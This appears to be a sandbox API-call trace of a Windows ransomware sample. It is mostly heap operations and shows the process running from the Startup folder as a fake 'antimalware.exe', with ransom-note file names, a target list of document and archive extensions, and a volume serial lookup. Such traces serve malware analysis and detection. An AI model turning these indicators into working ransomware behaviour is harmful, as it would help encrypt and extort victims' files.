	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720228
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7202d0
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7203c0
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720468
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720240
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720480
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720348
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7202e8
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720420
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720438
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720258
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720498
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720288
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7202b8
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720360
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720378
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720390
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7203a8
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x720768
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x720678
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7205d0
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x7206f0
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x720708
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de208
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720618
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de1f8
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720720
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7204c8
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7204b0
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x720660
	[0178.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7205e8
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720540
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x720780
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720690
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7204e0
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7205a0
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720570
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7206a8
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x720648
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7204f8
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de198
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720600
	[0178.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720558
	[0178.274] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71fd78, Size=0x800) returned 0x720988
	[0178.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f6580 | out: hHeap=0x6a0000) returned 1
	[0178.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7215f8 | out: hHeap=0x6a0000) returned 1
	[0178.274] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de348, Size=0x8) returned 0x6de1c8
	[0178.274] lstrlenW (lpString=".yG") returned 3
	[0178.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7216a0 | out: hHeap=0x6a0000) returned 1
	[0178.274] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x721748, Size=0x20) returned 0x6ddaf8
	[0178.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddaf8, Size=0x40) returned 0x71dd78
	[0178.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71dd78, Size=0x80) returned 0x6e3658
	[0178.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de348, Size=0x8) returned 0x6de0f8
	[0178.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de0f8, Size=0x10) returned 0x7216d0
	[0178.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7216d0, Size=0x20) returned 0x6ddb20
	[0178.275] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3658 | out: hHeap=0x6a0000) returned 1
	[0178.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x721778, Size=0x20) returned 0x6ddb98
	[0178.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddb98, Size=0x40) returned 0x71dca0
	[0178.275] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0178.275] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71dca0 | out: hHeap=0x6a0000) returned 1
	[0178.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7215e0, Size=0x20) returned 0x6ddb98
	[0178.275] lstrlenW (lpString="Info.hta") returned 8
	[0178.275] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddb98 | out: hHeap=0x6a0000) returned 1
	[0178.276] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x721998, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x8f
	[0178.276] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x721998 | out: hHeap=0x6a0000) returned 1
	[0178.276] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0178.276] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddb20, Size=0x40) returned 0x71df70
	[0178.276] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7215e0, Size=0x20) returned 0x6ddc38
	[0178.276] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7216a0, Size=0x20) returned 0x6ddb20
	[0178.276] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddb20, Size=0x40) returned 0x71e120
	[0178.276] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71e120, Size=0x80) returned 0x6e3190
	[0178.276] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3190, Size=0x100) returned 0x6e4300
	[0178.276] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0178.276] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0178.276] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x721998, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0178.276] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7319a0 | out: hHeap=0x6a0000) returned 1
	[0178.277] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x721998 | out: hHeap=0x6a0000) returned 1
	[0178.278] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de148, Size=0x8) returned 0x6de248
	[0178.278] lstrlenW (lpString="%windir%;") returned 9
	[0178.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddc38 | out: hHeap=0x6a0000) returned 1
	[0178.278] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0178.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7588 | out: hHeap=0x6a0000) returned 1
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7215f8, Size=0x20) returned 0x6ddbc0
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddbc0, Size=0x40) returned 0x71dfb8
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71dfb8, Size=0x80) returned 0x6e2e60
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e2e60, Size=0x100) returned 0x6e4300
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de2c8, Size=0x8) returned 0x6de258
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de258, Size=0x10) returned 0x7216a0
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7216a0, Size=0x20) returned 0x6ddb20
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de1a8, Size=0x8) returned 0x6de258
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de1d8, Size=0x8) returned 0x6de298
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de1a8, Size=0x8) returned 0x6de178
	[0178.279] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de178, Size=0x10) returned 0x6f7058
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7058, Size=0x20) returned 0x6ddb98
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de258, Size=0x10) returned 0x6f7088
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de298, Size=0x10) returned 0x6f7148
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de288, Size=0x8) returned 0x6de1a8
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de2c8, Size=0x8) returned 0x6de298
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7088, Size=0x20) returned 0x6ddc38
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7148, Size=0x20) returned 0x6ddbc0
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de268, Size=0x8) returned 0x6de0f8
	[0178.280] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0178.280] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0178.280] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f70e8, Size=0x20) returned 0x6ddc60
	[0178.280] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6f7588, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0178.280] lstrlenW (lpString="C:\\") returned 3
	[0178.280] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0178.281] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7588 | out: hHeap=0x6a0000) returned 1
	[0178.281] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de2e8, Size=0x82) returned 0x6e4390
	[0178.281] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de1d8, Size=0x100) returned 0x71fd78
	[0178.281] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4390, Size=0x104) returned 0x71ff10
	[0178.281] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71fd78, Size=0x200) returned 0x6f7588
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de178 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7588 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f6fe0 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e2ee8 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f6f50 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3190 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7178 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71ff10 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7100 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4420 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7118 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71fe80 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f6f68 | out: hHeap=0x6a0000) returned 1
	[0178.283] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7118, Size=0x20) returned 0x6ddd28
	[0178.283] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddd28, Size=0x40) returned 0x71dca0
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de268 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f6f20 | out: hHeap=0x6a0000) returned 1
	[0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f70e8 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3080 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f6ef0 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de168 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f6f08 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6ce0 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b66f0 | out: hHeap=0x6a0000) returned 1
	[0178.284] lstrlenW (lpString="%systemdrive%") returned 13
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddc60 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3108 | out: hHeap=0x6a0000) returned 1
	[0178.284] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de2c8 | out: hHeap=0x6a0000) returned 1
	[0178.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6e6560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0178.285] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7130, Size=0x20) returned 0x6ddc60
	[0178.285] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddc60, Size=0x40) returned 0x71de98
	[0178.285] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71de98, Size=0x80) returned 0x6e2f70
	[0178.285] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e2f70, Size=0x100) returned 0x6e4300
	[0178.285] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4300, Size=0x200) returned 0x6e4300
	[0178.285] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4300, Size=0x400) returned 0x71fd78
	[0178.285] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71fd78, Size=0x800) returned 0x6f9590
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9590, Size=0x1000) returned 0x6f9590
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de268, Size=0x8) returned 0x6de168
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de168, Size=0x10) returned 0x6f7088
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7088, Size=0x20) returned 0x6ddc60
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddc60, Size=0x40) returned 0x71de50
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71de50, Size=0x80) returned 0x6e3218
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3218, Size=0x100) returned 0x6e4300
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4300, Size=0x200) returned 0x6e4300
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4300, Size=0x400) returned 0x6fa598
	[0178.286] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa598, Size=0x800) returned 0x6fb9a8
	[0178.286] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f9590 | out: hHeap=0x6a0000) returned 1
	[0178.286] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb118 | out: hHeap=0x6a0000) returned 1
	[0178.287] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb0a0 | out: hHeap=0x6a0000) returned 1
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fb0b8, Size=0x20) returned 0x6ddc60
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddc60, Size=0x40) returned 0x71e1f8
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71e1f8, Size=0x80) returned 0x6e3658
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720018, Size=0x8) returned 0x71fff8
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71fff8, Size=0x10) returned 0x6fb118
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fb118, Size=0x20) returned 0x6ddff8
	[0178.287] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3658 | out: hHeap=0x6a0000) returned 1
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fb130, Size=0x20) returned 0x6ddf80
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddf80, Size=0x40) returned 0x71d988
	[0178.287] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0178.287] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71d988 | out: hHeap=0x6a0000) returned 1
	[0178.287] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fb130, Size=0x20) returned 0x6ddf58
	[0178.287] lstrlenW (lpString="Info.hta") returned 8
	[0178.287] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddf58 | out: hHeap=0x6a0000) returned 1
	[0178.288] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7419c0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x8f
	[0178.288] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7419c0 | out: hHeap=0x6a0000) returned 1
	[0178.289] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0178.289] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddff8, Size=0x40) returned 0x71e090
	[0178.289] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fb130, Size=0x20) returned 0x6de048
	[0178.289] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fb238, Size=0x20) returned 0x6ddf08
	[0178.289] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddf08, Size=0x40) returned 0x71dee0
	[0178.289] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71dee0, Size=0x80) returned 0x6e3218
	[0178.289] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3218, Size=0x100) returned 0x6e4300
	[0178.289] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0178.290] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0178.290] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7419c0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0178.290] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7519c8 | out: hHeap=0x6a0000) returned 1
	[0178.290] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7419c0 | out: hHeap=0x6a0000) returned 1
	[0178.291] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720018, Size=0x8) returned 0x71fff8
	[0178.291] lstrlenW (lpString="%windir%;") returned 9
	[0178.291] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de048 | out: hHeap=0x6a0000) returned 1
	[0178.291] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0178.291] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7319b8 | out: hHeap=0x6a0000) returned 1
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fb1a8, Size=0x20) returned 0x6ddf30
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddf30, Size=0x40) returned 0x71e0d8
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71e0d8, Size=0x80) returned 0x6e2e60
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e2e60, Size=0x100) returned 0x6e4300
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720048, Size=0x8) returned 0x720058
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720058, Size=0x10) returned 0x6fb238
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fb238, Size=0x20) returned 0x6dddf0
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720108, Size=0x8) returned 0x720048
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720018, Size=0x8) returned 0x720058
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720068, Size=0x8) returned 0x7200a8
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7200a8, Size=0x10) returned 0x6fa3c8
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa3c8, Size=0x20) returned 0x6ddff8
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720048, Size=0x10) returned 0x6fa2d8
	[0178.293] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720058, Size=0x10) returned 0x6fa218
	[0178.294] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7200d8, Size=0x8) returned 0x720048
	[0178.294] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x720078, Size=0x8) returned 0x7200a8
	[0178.294] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa2d8, Size=0x20) returned 0x6de098
	[0178.294] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa218, Size=0x20) returned 0x6dde90
	[0178.294] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7200d8, Size=0x8) returned 0x7200e8
	[0178.294] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0178.294] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0178.294] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa218, Size=0x20) returned 0x6de020
	[0178.295] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x7319b8, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0178.295] lstrlenW (lpString="C:\\") returned 3
	[0178.295] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0178.295] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7319b8 | out: hHeap=0x6a0000) returned 1
	[0178.296] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71ff78, Size=0x82) returned 0x6e4390
